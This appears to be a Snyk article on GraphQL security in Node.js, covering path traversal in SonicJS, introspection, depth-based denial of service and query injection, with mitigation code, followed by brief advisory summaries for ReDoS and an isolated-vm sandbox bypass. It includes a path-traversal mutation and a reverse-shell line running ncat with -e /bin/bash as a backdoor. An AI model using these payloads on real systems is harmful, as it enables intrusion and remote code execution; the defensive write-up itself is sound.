This function takes both GraphQL arguments and uses the fs.writeFile function to update the file on the provided path. However, this function can be exploited to traverse the given application directory and create a new file anywhere in the target system, like in the following GraphQL query: 

    mutation {
    
    fileUpdate(
    filePath: "../../../../../../../../../../../../tmp/test.txt",
    fileContent: "exploitable",
    sessionID:"nosessioncheckinplace"
    ){
    filePath
    fileContent
    }
    }

This vulnerability makes it possible to execute code on the system by overwriting one of the SonicJS service files with malicious JavaScript that was loaded by the SonicJS system during startup or reboot. For example, the following statement uses the child_process function to backdoor the application and connect to an attacker controlled IP address by leveraging the ncat program that is installed on the target system. 

    require("child_process").exec('ncat 127.0.0.1 4445 -e /bin/bash')

The Snyk Code report for this vulnerability can be seen below:

SonicJS can prevent this vulnerability in the future by requiring authentication and authorization for the query, and validating the provided file path to ensure special characters such as ../ are not allowed.  

**GraphQL introspection**

GraphQL’s introspection system can be used to discover what queries are supported by a GraphQL server. This includes types, fields, queries, mutations, and other information related to a GraphQL schema.

While this is a feature and is not a direct security issue, introspection can often be used to find hidden functionality that an attacker can abuse. 

Within the NodeJS ecosystem, JavaScript frameworks often enable introspection by default, which may not be clear to developers. So, when using the GraphQL framework without specifying settings, like in express-graphql below, introspection is enabled automatically. 

    import express from 'express'
    import graphqlHTTP from 'express-graphql'
    import Myschema from './schema'
    
    const app = express();
    app.use('/graphql', graphqlHTTP((req, res) => ({ 
      Schema: MySchema,
    })))

An example of this report within Snyk code can be seen below:

Since there might be legitimate cases where introspection is needed for a production application, this issue was reported as **low risk**. 

To disable introspection within express-graphql , use the NoSchemaIntrospectionCustomRule provided by the graphql-js. 

    import express from 'express'
    import graphqlHTTP from 'express-graphql'
    import Myschema from './schema'
    import { specifiedRules, NoSchemaIntrospectionCustomRule } from 'graphql';
    
    const app = express();
    app.use('/graphql', graphqlHTTP((req, res) => ({ 
      Schema: MySchema,
    validationRules: [...specifiedRules, NoSchemaIntrospectionCustomRule],
    })))

While having introspection in production can lead to security issues, it is often needed for development. The creators of ApolloServer tackled this issue by enabling or disabling introspection based on the production status. 

    // introspection is only enabled based on NODE_ENV
    const apolloServer = new ApolloServer({
      schema,
      introspection: process.env.NODE_ENV !== 'production' && CUSTOM_ENV !== 'production',
    });
    export default apolloServer;

If using another GraphQL framework, a third-party library such as the graphql-disable-introspection package can be used to validate rules within your GraphQL endpoint. 

**GraphQL denial of service**

Each query has a depth of nested objects that can be processed by a GraphQL endpoint. Most GraphQL frameworks do not have a default depth limit. Queries with unlimited depths can leave the framework vulnerable to denial of service (DoS) attacks, like in the following example:  

    {
        one {
            two {
                one {
                    two {
                        one…
                    }
                }
            }
        }
    }

However, for this issue to be exploitable, the GraphQL server must have a recursive pattern of field types where a two-way relationship exists. An example of this report within Snyk code can be seen below:

This DoS vulnerability was found  within mevn-cli. To fix this, the graphql-depth-limit package available through npm can be used as follows:

    import depthLimit from 'graphql-depth-limit'
    import express from 'express'
    import graphqlHTTP from 'express-graphql'
    import schema from './schema'
    
    
    const app = express() 
    app.use('/graphql', graphqlHTTP((req, res) => ({ 
      schema,
      validationRules: [ depthLimit(10) ]
    })))

Review this mevn-cli repository commit to see an example of this fix.

Another way to prevent DoS attacks is to check request body length within your GraphQL endpoint. Large queries can be an indication of DoS attacks, so monitoring query length is a simple and effective verification.

    // query length is checked here to prevent DoS
      app.use('/graphql', graphqlExpress((req) => {     
     const query = req.query.query || req.body.query;
        if (query && query.length > 2000) {
          // Normal GraphQL queries are not this long
          // Probably indicates someone trying to send an overly expensive query
          throw new Error('Query too large.');
        }
    
        return {
          schema,
          context: Object.assign({}, context),
          debug: true,
        };
      }));

**GraphQL injection**

By allowing an attacker to interfere with an application query, a GraphQL injection gives malicious parties access to data they normally can’t retrieve — including user data or any other data the application can access. In many cases, this data can be modified or deleted, causing persistent changes to the application’s content and behavior.

@octokit/core is a minimalistic library built to utilize GitHub’s REST API and GraphQL API to create GraphQL queries. In cases where user input is used to dynamically create a GraphQL, an attacker might be able to modify this query to access confidential information. An example of this issue can be seen below:

    app.get('/', async function(req, res) {
    
        let user = req.query.page;
    
        const { articles } = await octokit.graphql(
            `
              query lastIssues($owner: String!, $repo: String!) {
                repository(owner: ${input}, name: $repo) {
                  issues(last: $num) {
                    edges {
                      node {
                        title
                      }
                    }
                  }
                }
              }
            `,
            {
              owner: "octokit",
              repo: "graphql.js",
            }
          );

An example of this report within Snyk code can be seen below.

To prevent GraphQL injection, avoid passing user-entered parameters directly to a GraphQL query. If direct user input is required for performance, validate the input against a very strict allowlist of permitted characters — avoiding special characters such as ? & / < > ; - and (space) — and use a vendor-supplied escaping routine if possible.

**Conclusion**

Snyk Code currently supports the following GraphQL frameworks through a variety of taint analysis and semantic rules: 

*   express-graphql
*   koa-graphql
*   mercurius
*   apollo-server
*   graphql-js

We hope to add further support for GraphQL vulnerabilities such as insecure object, direct reference, and access control issues. While GraphQL is currently supported for JavaScript, we aim to add more languages and code quality rules to address issues such as batching attacks and query complexity.

**Improving GraphQL security with Snyk**

Scan your applications with Snyk Code to find and fix vulnerabilities.

CVE-2022-42002: Improving GraphQL security with static analysis and Snyk Code | Snyk

The package react-native-reanimated before 3.0.0-rc.1 is vulnerable to Regular Expression Denial of Service (ReDoS) due to improper usage of regular expression in the parser of Colors.js.

**react-native-reanimated vulnerable to ReDoS**

High severity GitHub Reviewed Published Oct 1, 2022 • Updated Oct 4, 2022

GHSA-2j79-8pqc-r7x6: react-native-reanimated vulnerable to ReDoS

The package css-what before 2.1.3 is vulnerable to Regular Expression Denial of Service (ReDoS) due to the use of insecure regular expression in the `re_attr` variable of index.js. The exploitation of this vulnerability could be triggered via the parse function.

**css-what vulnerable to ReDoS due to use of insecure regular expression**

High severity GitHub Reviewed Published Oct 1, 2022 • Updated Oct 4, 2022

GHSA-p28h-cc7q-c4fg: css-what vulnerable to ReDoS due to use of insecure regular expression

### Impact
If the untrusted v8 cached data is passed to the API through CachedDataOptions, the attackers can bypass the sandbox and run arbitrary code in the nodejs process. There are currently no known fixed versions or workarounds.



**isolated-vm has vulnerable CachedDataOptions in API**

Critical severity GitHub Reviewed Published Sep 30, 2022 in laverdet/isolated-vm • Updated Sep 30, 2022

Tag

#js